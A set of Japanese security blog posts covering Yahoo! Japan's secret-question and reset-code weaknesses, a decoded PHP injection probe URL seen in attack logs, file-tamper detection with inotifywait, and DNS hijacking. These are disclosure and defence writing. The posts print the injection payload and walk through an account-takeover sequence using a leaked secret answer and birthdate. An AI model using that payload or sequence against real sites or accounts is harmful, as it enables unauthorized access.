ヤフーは23日、今月16日に不正アクセスで流出した「ヤフージャパン」のID2200万件のうち、約149万件についてはパスワードと、パスワード変更のために使う「秘密の質問」への答えも同時に流出していた可能性が高いと発表した。パスワードは暗号化されており「解読は不可能」(広報)としている。
 「秘密の質問」の答えは暗号化されておらず、ハッカーに見られる可能性が高いが、パスワードを変えるには今回流出していない生年月日も入力する必要があり、広報は「本人以外が不正にログインするおそれはない」としている。
朝日新聞デジタル:ヤフー、パスワード149万件流出 「秘密の質問」も - 社会より引用(魚拓
この報道によると、『「秘密の質問」の答えは暗号化されておらず、ハッカーに見られる可能性が高い』ということですが、下記理由により非常に心配であります。

  • 生年月日は流出していないということだが、SNSなどから比較的容易に取得できる情報である
  • 「秘密の質問と回答」および生年月日がそろうと、パスワードがリセットできる(現在は停止中)
  • それだけでなく、同じ組み合わせで、ワンタイムパスワードも解除できる(現在は停止中)
  • 加えて、同じ組み合わせで、シークレットIDも解除できる(現在は停止中)

すなわち、「秘密の質問と回答」および生年月日が知られてしまうと、パスワードをリセットできるのみならず、ワンタイムパスワード及びシークレットIDの両方が解除でき、貴社の素晴らしいセキュリティ機能を全て突破できてしまうからであります。

念のため(釈迦に説法とはこのことですが)上記が可能であることを、貴社サービスのヘルプから参照いたします。
まず、パスワードリセットがこの組み合わせでできることは、「Yahoo! JAPAN IDに関するヘルプ - パスワードを忘れてしまった魚拓)」の「【生年月日と秘密の質問を使う】」に記載があります。
次に、ワンタイムパスワードの解除ですが、「Yahoo! JAPAN IDに関するヘルプ - ワンタイムパスワードの利用を停止する魚拓)」の「◆生年月日と秘密の質問を使う」の記載の方法により、ログインすることなくワンタイムパスワードを解除できます。
最後に、シークレットIDの解除は、「Yahoo! JAPAN IDに関するヘルプ - シークレットIDを忘れた拓)」の【生年月日と秘密の質問を使う】の手順に従い、解除できます。

実は、攻撃者が、秘密の質問と回答および生年月日を知っていれば、メール盗聴などをしなくても、利用者のパスワードをリセットし、ワンタイムパスワードを解除し、シークレットIDも解除して、結果として利用者のIDでログインできることは、昨年の11月に気づいておりました。このため、貴社YIRDに昨年11月3日に連絡差し上げています。

Date:    Sat, 03 Nov 2012 18:22:11 +0900
Subject: Yahoo!のパスワードリセットの問題点について
----
Yahoo Incident Response Division御中
徳丸と申します。
Yahoo!のログインについて、仕様が好ましくないと考えております。
Yahoo!のパスワードは、生年月日と『秘密の「質問」と「答え」』が分かっていればリセットできます。『秘密の「質問」と「答え」』はID登録後変更できないので、安易なものをつけてしまったら取り返しの付かないことになると考えます。
参考:
http://help.yahoo.co.jp/help/jp/edit/edit-43.html
> 秘密の「質問」と「答え」の内容は、Yahoo! JAPAN IDの登録後に、確認および変更できません。
ワンタイムパスワード設定すれば、上記リスクを軽減できるかを考えました。しかし、ワンタイムパスワードの解除も、生年月日と『秘密の「質問」と「答え」』が分かっていればできてしまいます。ログイン中でなくても可です。
シークレットIDというログイン専用のIDを設定すると安全性が高まるかと期待したのですが、駄目でした。Yahoo!IDと生年月日と『秘密の「質問」と「答え」』を知っていると、シークレットIDを解除できます。つまり、Yahoo!IDと生年月日と『秘密の「質問」と「答え」』を知っていると、ワンタイムパスワードの設定も、シークレットIDの設定も解除でき、パスワードをリセットできます。
脆弱性とまではいえないものの、非常に好ましくない仕様だと思います。
『秘密の「質問」と「答え」』を無効にできるようにするか、せめて後から変更できるようにすべきだと思います。
これに対して、11月5日に以下の回答を得ました。

Date:    Mon, 5 Nov 2012 06:30:56 +0000
Subject: RE: Yahoo!のパスワードリセットの問題点について
----
徳丸様
お世話になっております。
Yahoo Incident Response Division(ヤフー)の○○と申します。
この度はご指摘、ご助言を頂き誠に有難うございます。
ご指摘頂きましたYahoo!ログインの問題に関しては弊社内でも認識しており、現在サービス仕様の見直しを実施しております。
サービス仕様の見直しに際しては、ご指摘頂いた点も含めて十分な安全性の検討/改善を行う予定です。
今後ともお気づきの点がございましたら、是非ともご指摘の程宜しくお願い申し上げます。
以上、宜しくお願い致します。
**********************************************
ヤフー株式会社
CSO室情報セキュリティ

この回答から半年が経過しましたが、上記仕様は変更されていないようです。つい先日も上記を試してみましたが、仕様が変わっていないことを確認したところでした。
貴社サービスが非常に大規模であり、かつ多数のシステムが連携していること、Yahoo!がまさに「国民的サービス」であるため、ユーザにとって難易度の高い仕組みが導入できにくいことはかねて推察しており、時間がかかることは覚悟しておりましたが、この度の「秘密の質問と回答」流出の報道を見て、待ちきれなくなり、こうしてご連絡差し上げる次第です。

さて、要望と題するからには、対案を出さなければなりません。改善方法は色々あるでしょうが、一案として以下のようにすればどうでしょうか。

  • 「秘密の質問と回答」は現在必須だが、設定しないという選択も許す
  • 「秘密の質問と回答」は現在一度設定すると変更・解除できないが、変更および解除できるようにする
  • 「秘密の質問」は選択制だが、利用者の自由記述も選択できるようにする
  • 朝日新聞の報道によると「秘密の質問と回答」は暗号化されていないようだが、暗号化して保存する
  • 「秘密の質問と回答」よりも強度の高い、乱数やワンタイムパスワード生成アプリを活用した復帰手段等を利用者が選択できるようにする

私にとって、ヤフオク等貴社サービスは日頃の生活に欠くことのできない大切なものですので、サービスの安全性は深刻な関心事であります。今後も貴社サービスを安心して活用したいため、一介の利用者に過ぎないものが差し出がましいことを申し上げるようですが、少しでも参考になればと思い、愚考を披露させていただきました。

以上、ご賢察のほど、よろしくお願い申し上げます。
最後までお読みいただき、ありがとうございました。
敬具

PS.
これまでは、このような内容を公にすると、利用者側で対処する方法がないため混乱を招くことを心配しておりましたが、現在は「秘密の質問と回答」によるリセット機能は全て停止されていることから、この内容を公開しても影響はないため、公開に踏み切った次第であります。

Yahoo!のメールによるパスワードリセットのリスクと緩和策

$
0
0
Yahoo! Japanのパスワードリセットにはメールで確認コードを受け取るという方法が選択できますが、確認コードが数字6桁であり、総当たり耐性が低いという問題があります。

以下、テスト用のアカウントを用いて、パスワードリセットの手順を説明します。
Yahoo!のログイン画面から、「ID、パスワードを忘れた」→「パスワードを忘れた」というリンクをクリックすると下記の画面になります。


 Yahoo! IDと文字認証の数字を入力して「次へ」をクリックします。下記の画面になります。


Yahoo!に登録したメールアドレスを入力して「次へ」をクリックします。下記の画面が表示されます。


指定した登録済みメールアドレスに「確認コード」が送信されます。これは数字6桁です。上記のように、確認コードと新しいパスワード(2回)を入力して、「次へ」をクリックします。


以上で、パスワードが再設定できました。

上記の手順を攻撃する場合、攻撃者が知らなければならない文字列は下記となります。
  • Yahoo! ID
  • 登録済みメールアドレス
  • 確認コード(数字6桁)
Yahoo! IDは公開情報ですし、攻撃者が登録済みメールアドレスを推測できる場合、残りは確認コードの数字6桁ということになります。これは5回間違えるとロックされるようで、確率20万分の1で突破される計算です。

数字6桁というと、Googleなどが採用している2段階認証のトークンも数字6桁ですが、これとは意味合いが異なります。2段階認証のトークンは、利用者が正しいパスワードを入力した後に追加で確認するものです。このため、数字6桁程度でも許容できると考えられます。一方、パスワードリセットの「確認コード」は、パスワードを入力していない利用者をこの数字だけで認証するのですから、数字6桁では、少々頼りない感じです。

少なくとも、「僕はLastPassで記号混じり32桁のパスワードを設定しているぜ、セキュアだぜ!」と安全に気を配っているつもりの利用者がいたとして(私のことですが)上記は裏切られた感覚があります。

Yahoo!には至急改善を望みたいところですが、Yahoo!のような巨大サイトで迅速な改善を期待することは難しいことは経験済みですので、利用者側での対処を推奨します。

上記リスクは、下記の1つ以上により緩和されます。
シークレットIDや2段階認証の解除も、数字6桁が推測できればできてしまいますが、パスワードの解除に至るまでには、数字6桁を2回推測しなければならないので、まぁ大丈夫かなというところです。
メールアドレスを誰にも教えないという運用は、採用できる人が限られるでしょうから、シークレットIDをお勧めします。2段階認証もよいのですが、これを使うには「秘密の質問と答え」を登録しなければならないので、既に登録してしまっている人(大半のYahoo!ユーザがそうだと思いますが)であれば、2段階認証をお勧めします。なお、「秘密の質問と答え」のリスクについては、先のエントリを参照下さい。

まとめ

  • Yahoo!のメールによるパスワードリセットで用いる「確認コード」は数字6桁であり総当たり耐性が低い
  • シークレットID、ワンタイムパスワードによるリスク緩和を推奨する

360webscan攻撃(仮称)を観測しました

$
0
0
本日、HASHコンサルティング株式会社セキュリティ・オペレーション・センター(HASH-C SOC)では、奇妙な攻撃リクエストを観測しました。それは、以下のようなURLによるものです。
http://example.jp/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/
s=以下をパーセントデコードすると下記となります。
/abc/abc/abc/${@print(md5(base64_decode(MzYwd2Vic2Nhbg)))}/
{ } で囲まれた部分はPHPのスクリプトのように見えますが、2箇所文法違反があります。

  • MzYwd2Vic2Nhbg がクォートされていない
  • } の前にセミコロンがない

このうち、MzYwd2Vic2Nhbgのクォートに関しては @ 演算子によりエラー抑止され、'MzYwd2Vic2Nhbg' とみなされます。これをbase64デコードすると、360webscan となります。このため、この攻撃を仮に「360webscan攻撃」と名づけました。
PHPスクリプトに、足りないセミコロンを補って実行すると以下となります。
$ php
<?php
@print(md5(base64_decode(MzYwd2Vic2Nhbg)));
ed1e83f8d8d90aa943e4add2ce6a4cbf
360webscan と ed1e83f8d8d90aa943e4add2ce6a4cbf を検索すると、前者は多数、後者は10件ほどヒットします。見たところ、中国語のサイトが多いようです。

この攻撃の意図は分かりませんが、パラメータとしてPHPスクリプトの断片を渡しているからには、これを実行するためのバックドアを作成する攻撃が先にあり、その攻撃の正否を確認するためのリクエストなのかもしれません…が、まったく違う可能性もあります。

この攻撃(?)に対する監視を継続したいと思います。


多発するWeb改ざんに備えてinotifywaitによる改ざん検知を導入した

$
0
0
Webサイトの改ざん事件が多発しています。Webサイトに対する基本的なセキュリティ施策を実施していればまず被害にあうことはないとは思うものの、全ての手口が公開されているわけではないので、何となく「嫌な感じ」もします。

【参考】
当方のサイト(会社個人)は、一通りのセキュリティ施策は実施しているつもりですが、絶対に改ざんされないかというと、改ざんされることは想定しておかなければならないと考えています。

当方のセキュリティ施策の例
  • FTPをやめ、sshのみで管理運用
  • sshのパスワード認証を禁止し、鍵認証のみとする
  • sshサーバーのIPアドレス制限
  • 脆弱性管理
上記のセキュリティ施策を講じていても、例えば以下のような侵入シナリオが考えられます。
  • サイトの管理用PCがゼロデイ脆弱性でマルウェアに感染し、管理用PCを踏み台として、管理用PCに保存された秘密鍵によりsshからログインされる
  • サーバーソフトのゼロデイ脆弱性により侵入される
  • VPSのコントロールパネルに脆弱性がある場合、コントロールパネルに侵入され、シングルユーザーモードからrootパスワードを変更された後、コントロールパネルのリモートコンソールからログインされる
私自身としても、サイトに侵入されてしまうかもしれないという想定は心情的には受け入れにくいものではありますが、冷静に考えれば侵入されるという事態はあり得るわけで、仮に侵入された場合に素早く対処できる施策を施しておきたいと考えるようになりました。と言っても、何分にも個人経営のサイトですので、掛けられる予算も限られています。そこで、無償で利用できる改ざん検知ツールについて検討しました。
検討したツールは以下の通りです。
  • Tripwire(オープンソース版)
  • inotifywait
実際には両方を導入して運用していますが、本稿ではinotifywaitについて報告します。

inotifywaitによる改変検知

Linux 2.6.13から、ファイルシステムのイベント監視APIとして、inotifyが組み込まれています。これを利用して、ファイルの改変検知を行うことにしました。inotifyを簡単に利用するためのコマンドとしてinotifywaitがあり、Ubuntuの場合下記によりインストールできます。
$ sudo apt-get install inotify-tools
inotifywaitを用いて、/etc以下を監視する場合の起動例を下記に示します。
$ sudo inotifywait -m -e create,delete,modify,move,attrib --format '%T %w %f %e' -r --timefmt '%F %T' /etc
オプションパラメータは以下の通りです。

-mイベント後も継続する
-rディレクトリを再帰的に監視する
-e監視するイベントを指定
-format出力形式を指定
-timefmt時刻の表示形式を指定

この状態で、以下のように、/etc以下にファイルを作成してみましょう。
$ sudo touch /etc/xxxxx
以下の出力が得られます。
2013-06-16 22:36:57 /etc/ xxxxx CREATE
2013-06-16 22:36:57 /etc/ xxxxx ATTRIB
inotify(inotifywait)はリアルタイムに上記の表示が得られます。一方、オープンソース版のTripwireは定期的なバッチ処理による監視なので、リアルタイム性はありません。

ファイル改変の監視対象は以下としました。
  • /etc/ 以下の設定ファイル
  • バイナリ
  • Webコンテンツ(.htaccess等含む)
  • その他
これらのディレクトリにおける、ファイル新規作成、更新、削除、移動、属性変更が起こる度にメール通知するスクリプトを書きました。inotifywaitはリアルタイムにファイルに対するイベントを監視できますが、イベントの度にメールを送信すると、1度に何通ものメールが送信されるのでうれしくありません。そこで、こちらを参考にして、イベント発生後5秒の間に発生したイベントをまとめてメール通知しました。参照したエントリはシェルスクリプトによる方法を紹介していますが、私はPerlにより記述して、デーモンとして常駐させています。

攻撃側の対抗策として、侵入に成功後 inotifywait プロセスを止めてしまうというシナリオも考えられます。そこで、inotifywait の死活監視も実施することにしました。inotifywaitを呼び出すPerlスクリプトから、定期的にハートビートのメールを別サーバーに送信し、一定時間メールが来ない場合、別サーバーからメール通知するようにしています。

効果・まとめ

inotifywaitによるリアルタイム改ざん検知の導入について報告しました。
導入の効果ですが、改ざんのことは忘れて他の業務に専念できる点が大きいと思いました。また、tripwire(オープンソース版)によるバッチの改ざん検知と比べてCPU負荷が軽いのもメリットです。

IPAの注意喚起では、Webコンテンツの改ざん有無をチェックするように呼びかけており、具体的な手段としては、(1)原本との比較、(2)セキュリティソフトによるスキャン、(3)FTPアクセスログの確認、という3種類の方法を紹介しています。これら手法は、一般的なツールだけで実現可能という理由から採用されたものだと思いますが、確実性や即時性という点で課題があります。リアルタイムにファイルの改変を直接監視することで、コンテンツが改ざんされていないという安心を得ることができます。
導入前は、誤検知(フォルス・ポジティブ)を心配していましたが、運用上問題ないレベルだと思います。ただし、これは私が一人で運用しているからであって、コンテンツを更新する人と監視をする人が別の場合は、運用ルールを定めないと、「コンテンツが変更されたが、正規の更新か、攻撃か分からない」という事態も起きそうです。

トータルで見て、小規模な企業ホームページなどで、多大な費用を掛けずに実施できるセキュリティ施策として、ファイル改ざん検知は有望な方法だと感じました。

※18:55修正 CPU負荷について追記、タイトルを微修正


Yahoo!ジャパンの「秘密の質問と答え」に関する注意喚起

$
0
0
昨日の福井新聞の報道魚拓)によると、中学生がYahoo!の「秘密の質問と答え」を悪用して同級生のYahoo!アカウントにログイン成功し、不正アクセス禁止法などの疑いで書類送検されたようです。
同課によると、同級生との間には当時トラブルがあり、男子生徒は「自分の悪口をメールに書いているのではないか」と考え、盗み見たという。
男子生徒は、パスワードを再設定しようと「秘密の質問」のペットの名前に何度か答え、合致しパスワードを変更した
ログインできなくなった同級生がパスワードを変更し直したが、男子生徒は再びパスワードを変更したという。同級生が「身に覚えのないログインがある」と警察に相談し、容疑が明らかになった。
不正アクセスで県内中学生を初摘発 容疑で県警、同級生のメール盗み見より引用(赤字は引用者)
後述するように、Yahoo!の「秘密の質問と答え」を知っていると強大な権限が与えられたことになり注意が必要です。以下、Yahoo!の「秘密の質問と答え」の利用に対して、注意喚起を致します。

「秘密の質問と答え」とは何か

Yahoo!では、パスワード等を忘れた際のリカバリー方法として、メールを用いる方法、秘密の質問と答えを用いる方法、クレジットカード番号を用いる方法の3種類が用意されています。
 以下は、秘密の質問と答えの登録画面です。


秘密の質問と答えの問題点

Yahoo!の「秘密と質問と答え」を知っている人には、後述するように、当該アカウントに対して強大な権限が与えられますが、その権限と不釣り合いに下記の問題があります。
  • 1度登録すると、取り消しも変更もできない(但し例外あり…後述)
  • 登録時に、秘密と質問と答えが重大な影響をもたらすことを説明していない
  • 「あなたしか知らない質問と答え」とあるが、質問は選択制なので利用者が自由に記述できない
  • 質問の選択肢には、「父親の出身地」、「卒業旅行で行った場所」、「1番年上のいとこの名前」、「初めて勤めた会社の場所」など、第三者が知っている可能性の高いものが多い

秘密の質問と答えでどこまでできるか

Yahoo!アカウントの秘密の質問と答えが重大な影響があると書きましたが、具体的には「秘密の質問と答え」と生年月日の組み合わせにより、以下が可能です。
  • パスワードのリセット(再設定)
  • ワンタイムパスワードの解除
  • シークレットIDの解除
  • アカウントロックの解除

ケーススタディ

ここで、架空のYahoo!利用者Aさんに登場いただきます。Aさんは、Yahoo!を熱心なユーザであり、Yahoo!の以下のセキュリティ機能を登録しています。
  • ワンタイムパスワード
  • シークレットID
  • ログインアラート
  • ログインシール
これらは、「もっと安全ガイド - Yahoo! JAPAN IDガイド」に紹介されたセキュリティ機能のうち、ユーザが設定できるもの全てです。「Yahoo!セキュリティ機能全部入り」という感じでしょうか。

 一方、Aさんは「秘密の質問」として、「小学生の頃のあだ名は?」を選択し、答えを「とくちゃん」にしていました。

ここで、Aさんの子供時代を知るX氏が登場します。X氏は、AさんのYahoo!ID、生年月日と「とくちゃん」なるあだ名を知っています。X氏はAさんのアカウントに不正ログインしようとします。詳細は割愛しますが、以下の手順で可能です。
  • X氏は秘密の質問と答え、生年月日により、シークレットIDを解除する(ヘルプ)
  • X氏は秘密の質問と答え、生年月日によりパスワードをリセットする(ヘルプ)
  • X氏がリセットしたパスワードでログインしようとするとワンタイムパスワードを問われる
  • X氏は秘密の質問と答え、生年月日により、ワンタイムパスワードを解除する(ヘルプ)
  • X氏は再度、リセットしたパスワードでログインを試し、今度は成功する
Yahoo!自慢のセキュリティ機能三点セットが全て秘密の質問と答えと生年月日で解除されてしまい、まんまとログインできることを確認済みです。上記を解除する実験に際しては、リスクベース認証による保護の可能性も検証するため、端末のOS、ブラウザ、ISPなどを全て変えて試しましたが、とくに支障なく解除できました。

この時点でAさんがログインアラートにより不正ログインに気づき、ログインアラートの機能の1つであるログインロックを実行しました。
すると、X氏はいったんはログイン解除されますが、慌てず騒がず、以下を実行します。
  • X氏は秘密の質問と答え、生年月日により、ログインロックを解除する(ヘルプ)
つまり、Yahoo!のパスワードおよび追加のセキュリティ機能は全て「秘密の質問と答え」および成年月日により解除ないし再設定できるのです。この段階で、Aさん、X氏の両方が「秘密の質問と答え」と生年月日を知っているため、どちらもAさんのYahoo!アカウントにログイン可能な状態が続きます。AさんはYahoo!に連絡して対処してもらうしかなさそうですが、ヘルプを見ても、どこに連絡すればよいのか分かりませんでした。ヘルプからお問い合わせフォームにはリンクされていますので、ここから問い合わせるくらいでしょうか。

 「秘密の質問と答え」で上記解除ができることは、秘密でも何でもなく、Yahoo!の仕様であり、オンラインヘルプにすべて書いてある内容です。

「秘密の質問と答え」の問題を避ける方法はあるか?

秘密の質問が推測可能、あるいは何らかの方法で漏洩した場合、Yahoo!のセキュリティ機能は無力になってしまいます。朝日新聞の報道魚拓)によると、Yahoo!のアカウント情報漏洩事件で「秘密の質問と答え」は漏洩した可能性があり、暗号化されていなかったとのことですので、これは現実的な脅威です。いくらなんでもYahoo!が同じ失敗をすることはないだろうと期待したいところですが…
 サイトからの漏洩に対しては利用者が取れる対策はありませんが、上記のように、知らずに良くない「秘密の質問と答え」をつけている利用者も多いと予想されます。ここでは、既に良くない「秘密の質問と答え」をつけている場合の対策について説明します。

Yahoo!ウォレットに登録すれば秘密の質問と答えは変更できる

Yahoo!アカウントの「秘密の質問と答え」は原則的には変更できないのですが、1つ方法があり、以前Yahoo!に問い合わせて教えて頂きました。その経緯は、「Yahoo!の『秘密の「質問」と「答え」』の変更方法 - 徳丸浩のtumblr」に書きました。ただし、条件があります。
  • 「Yahoo!ウォレット」に登録していること
  • 免許証あるいは住民票のスキャンデータを送信すること
Yahoo!ウォレットへの登録自体に費用は掛かりませんが、クレジットカードか銀行口座を登録する必要があります。銀行については、ジャパンネット銀行のみオンラインで登録できるようで、その場合は認証にジャパンネット銀行のセキュリティトークンを用います。利用者の認証は、本人確認書類をYahoo!のオペレーターが目視確認するのだと思います。
この方法も裏技ではなく、マニュアルに書いてあるものですが、本来は、Yahoo!の有償サービスを使っているのにパスワードが分からなくなったという状況で使用する機能と推測されます。
この方法の問題は、Yahoo!ウォレットに登録するためにクレジットカード番号を登録しなければならないことで、「リスクを増やしてどうする!」というツッコミがありそうです。

Yahoo!アカウントを作り直す

Yahoo!の過去の履歴を捨ててもよいという場合は、Yahoo!の現在アカウントを破棄し、新しいアカウントを作り直すという方法もあります。確認したところ、現状のYahoo!の仕様では、アカウント登録時に「秘密の質問と答え」の登録は必須ではありません。この辺の仕様は時々変わるようで、以前試したときは、アカウント登録時に「秘密の質問と答え」が必須だったように記憶します。

 「秘密の質問と答え」を登録しない状態でも、Yahoo!の大部分の機能は使えますが、私が試した範囲では、ワンタイムパスワードの登録時に「秘密の質問と答え」の登録が強制されるようです。すなわち、以下の選択を迫られます。
  • 秘密の質問と答えを登録せず、ワンタイムパスワードは諦める
  • 秘密の質問と答えを登録して、ワンタイムパスワードを使う
  • 秘密の質問と答えを登録して、ワンタイムパスワードは使わない
上の2つは「究極の選択」という趣ですね。ワンタイムパスワード(2段階認証)単体でみると安全性が高まることは確実ですが、その代わりに漏れなく「秘密の質問と答え」の登録が必要になります。「秘密の質問と答え」が漏洩するリスク、推測されるリスクが生じます。

 私はYahoo!の内部や今後の計画は知らないので、上記の優劣を決めることはできません。ただし、シークレットIDとパスワードの両方を十分長いランダムな文字列にすれば、ワンタイムパスワードなしでも十分安全性は保てるはずで、後はフィッシングの被害にあう可能性などを考慮して検討頂くしかないと思います。

ログインアラートの問題点

ログインアラートのデフォルト設定は、「注意が必要なログイン時のみ通知」となっていますが、この設定でテストしたところ、「秘密の質問と答え」によるパスワードリセットでは、ログインアラートは通知されませんでした。設定を「ログイン時は常に通知」にすると、ログインアラートが通知されます。

ログインアラートは一種のリスクベース認証(ただし通知のみ)と考えられますが、リスクと認定する基準が少し緩めに設定されているのではないかと思いました。今回の実験ではISPなどは変えて「不正アクセス」していますが、同じ日本からのログインなので、国を変えるなどすれば「注意が必要」と認定されるのかもしれません。しかし、Yahoo!サービスの特性上、「ヤフオクの詐欺に使うためのアカウント乗っ取り」などは、日本国内で行われそうで、リスクベース認証が有効に働かないかもしれません。
ログインアラートの設定を「ログイン時は常に通知」にすれば、当然ながら、パスワードリセット後のログインで通知されるようになります。アラート例を以下に示します。
上記のログインに心当たりがない場合は、以下をご確認ください。
■心当たりのないログイン、利用であった場合

 1. 「ログイン履歴」と「登録情報」に心当たりがない情報がないかご確認ください。

  ◇ ログイン履歴
    https://lh.login.yahoo.co.jp/

  ◇ 登録情報ページの見方
    http://help.yahoo.co.jp/help/jp/edit/edit-54.html

 2. 心当たりがない情報があった場合は、下記のURLにアクセスし、一時的にログインできない状態に設定すること(ログインロック)をおすすめします。

  ◇ ログインロック    https://login.yahoo.co.jp/alert/lock?.ea=wOlemehXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-
    ※URLの有効期限:2013/06/09 12:14:37
これ、「■心当たりのないログイン、利用であった場合」の選択肢なのに、まず『1. 「ログイン履歴」と「登録情報」に心当たりがない情報がないかご確認ください。』と進めていますが、悠長な感じです。不正アクセスされて、パスワード変更された場合は、ログイン履歴も確認できないわけです。
だから、心当たりのないログインが来た場合は、さっさとログインロックしたくなりますが、今度は自分もログインできなくなるので、ログインロックは使い方が難しいと思いました。

私がユーザの立場で、心当たりのないログインがあったら以下のようにすると思います。
  1. まずは普通にログインする
  2. ログインできたら、不正アクセスの可能性を考慮してパスワードを変更する
  3. ログインできなかった場合パスワードリセットする(結果としてパスワードは変わる)
  4. ログイン履歴から、本当に不正アクセスかどうかなどを調べる(勘違いという可能性もある)
  5. IPアドレス、アクセス元の国などからその後の対処を決める
それでは、アカウントロックは役に立たないかというと、出先などで上記がすぐにできない場合に、とりあえずロックしておく、という使い方はありそうです。

パスワード変更通知の問題点

「秘密の質問と答え」による不正アクセスの過程では、パスワード変更を伴うため、パスワード変更の通知は来ます。このメールには下記のように書かれています。
あなたが上記のYahoo! JAPAN IDでパスワード変更をしたおぼえがない場合
=================================================================
自分のパスワードでYahoo! JAPANにログインできるかどうかを確認してください。
ログインできない場合は、お手数ですが、下記のヘルプをご確認ください。
http://help.yahoo.co.jp/help/jp/edit/edit-63.html
不正アクセスの場合は、「パスワード変更をしたおぼえがない場合」に該当するわけですが、その割にはのんびりした文面になっています。ユーザーに不安感を持たせない配慮かもしれませんが、自分のアカウントが勝手にパスワード変更されている状況は不正アクセスがまず疑われるわけで、電話やメールによる確認がしたいところですが、問い合わせ先は書いてありません。
メールからリンクされたヘルプには以下のような文面があります。
「パスワード変更の確認」メールは、パスワード変更を行うと、Yahoo! JAPAN IDの登録メールアドレスあてに、自動的に送信されます。
■確認メールの本文に記載されたYahoo! JAPAN IDをお使いの場合
メールに心あたりがない場合、念のため、こちらからお使いのYahoo! JAPAN IDとパスワード(※)を入力して、問題なくYahoo! JAPANにログインできるかをお試しください。
※メールに記載されているパスワードではなく、普段お使いのパスワードを入力してください。
  • ログインできなくなった場合は、パスワードを再設定し、再度ログインをお試しください。
    再設定方法は「パスワードを忘れてしまった」をご覧ください。
  • 万が一、第三者に利用されている可能性がある場合は、こちらをご覧ください。
最後の「こちら」のリンク先は、ご覧になるとわかりますが、被害にあった場合の一般論の説明で、Yahoo!の問い合わせ窓口が書いてあるわけではありません。

結局どうすればよいか

利用者としてとれる対策は下記の通りです。
  • 「秘密の質問と答え」は乱数のような文字列を設定して、印刷したものを安全な場所に保管する
  • 既存の「秘密の質問と答え」が安全でない場合は、前述の方法で再設定依頼するか、アカウントを作り直す
  • 新規にアカウントを作成する場合は、「秘密の質問と答え」を設定しない運用も検討する

まとめ

Yahoo!の「秘密の質問と答え」に関するリスクと対処について説明しました。現在のところ、「秘密の質問と答え」の権限が大き過ぎて、あまり良い対策がないのが実状です。 「秘密の質問と答え」の設定は十分注意頂き、たとえば、質問に関係ない乱数で設定するというのも1つの方法です。

なお、本稿に書いたパスワードリセットなどを他人のアカウントに対して試す行為は、不正アクセス禁止法などの違法行為となりますので、絶対にしないで下さい。冒頭に述べたように、逮捕者(書類送検された人)も出ています。

LinkedInでDNSハイジャックの可能性

$
0
0
昨日LinkedInでアクセス障害があり、DNSハイジャックの可能性を指摘されています。
app.netの共同創設者、Bryan Berg氏はその原因を「DNSハイジャック」によるものではないかと指摘している。Berg氏は、「その間LinkedInにアクセスしたユーザーのトラフィックは、Confluence-Networksがホスティングしていたネットワークに送信されていた」と述べ、しかもサイトではSSLを利用していなかったことから、長い有効期限が設定されていたCookieが平文のまま送信された可能性があるとしている。
LinkedInでアクセス障害、原因はDNSハイジャックとの指摘 - @IT より引用

DNSハイジャックとは

DNSハイジャックとは、ドメイン名を管理するネームサーバーを乗っ取られることですが、具体的には以下のような状況が考えられます。以下の例では、モデルとしてドメイン名example.jpを使います。
  • example.jpの権威DNSサーバー(レンタルDNSサーバー含む)が不正アクセスされた(脆弱性の例
  • example.jpのレジストラのコントロールパネルが不正アクセスされた(他国の例
  • JPドメイン名のレジストリ(JPRS)が不正アクセスされた(他国ではまれにあります; 参考
  • example.jpの管理者がドメイン情報の設定を間違えた(たまにあります)
このうち、レジストラに対する不正アクセスは時々見かけますので、以下、このケースについて説明します。下図は、www.example.jpがDNSハイジャックされる様子を説明するために、まず正常時の状況を図示したものです。


この状況で、example.jpの架空のレジストラ「おネーム.com」(仮に類似の名前のレジストラがあったとしても偶然に過ぎません)のコントロールパネルに侵入され、example.jpの権威DNSサーバーを書きかえられると、下記の状況になります。


evil.example.comは、攻撃者が管理するDNSサーバーです。この状況では、攻撃者はexample.jpのDNS設定を自由に変更できるので、www.example.jpのAレコードを192.0.2.5(攻撃者が管理するWebサーバーのIPアドレス)に変更します。これがDNSハイジャックです。

2010年11月には、著名なデンマークのセキュリティ企業Secuniaが、レジストラDirectNICが攻撃を受けた影響で、ウェブサイトの表示を改ざんされた事件が起こっています(参考参考)。

DNSハイジャックの影響

DNSハイジャックされると以下の影響があり得ます。
  • 秘密情報の漏洩
  • コンテンツの書き換え
  • サービス停止(今回のLinkedInでも起こった)
  • なりすまし
すなわち、セキュリティ上の悪いことは全てあり得るという状況です。
上記の例で説明すると、www.example.jpへのリクエストには、このサイトのCookieが付与されるため、利用者がアクセスした瞬間に、Cookieが漏洩することになります。これは、冒頭に紹介した記事でも言及されています。
さらに積極的に、フィッシングのテクニックによりログイン情報を収集することもできます。正規のドメイン名を悪用されるので、見分けるにはSSL証明書のエラーの他にはないわけですが…LinkedInのトップ画面を確認してみましょう。

なんということでしょう! 平文のトップページにログインフォームが設置してあります。これでは、DNSハイジャックによる偽画面を見分ける術がありません。『SSLを入力画面から使用しないのはそろそろ「脆弱性」と判断してしまってよいころかも』は高木浩光氏の2005年11月の記事ですが、それから約7年半以上たつのに、著名サイトでこのような状況は困ったものです。

情報漏洩やコンテンツ書き換えのシナリオとして、偽のWebサーバーが本物サイトのリバースPROXYとして動く仕組みも考えられます(下図)。


この状況ですと、利用者の通信(リクエストおよびレスポンス)はすべて傍受されます。中間者攻撃(MITM)という奴ですね。攻撃者は盗聴に徹することもできますし、iframe要素やscript要素を埋め込んで、利用者の端末にマルウェア感染させることもできます(利用者の端末に脆弱性がある場合)。

対策

DNSハイジャックの根本対策は、DNS運用を見直すこと、信頼の置けるレジストラ(どこ?)と契約するくらいでしょうが、私はDNSの専門家ではないので、具体的には専門家の解説にゆだねたいと思います。
Webサイト側でとれる緩和策としては、SSLの運用があります。
  • 少なくとも入力フォームからSSLとする
  • サイト全体をSSLとする(いわゆる常時SSL)を検討する
  • 機密性の要求されるCookieにセキュア属性を付与する
GoogleやTwitterは常時SSLに移行していますし、今後この流れが進むのではないでしょうか。
徳丸は今年の6月13日以降下記を実施しています。
後者のDNS情報の監視ですが、TLDから当該ドメイン名などのツリーから監視項目を定め、別サーバーから定期的に監視するようにしています。このままですと、監視システムが動いているか不安になるので、テスト用のドメイン名についても監視して、たまに人為的にDNS設定を変更して、検知されることを確認しています。

まとめ

LinkedInのアクセス障害がDNSハイジャックである可能性を受けて、DNSハイジャックの脅威について説明しました。
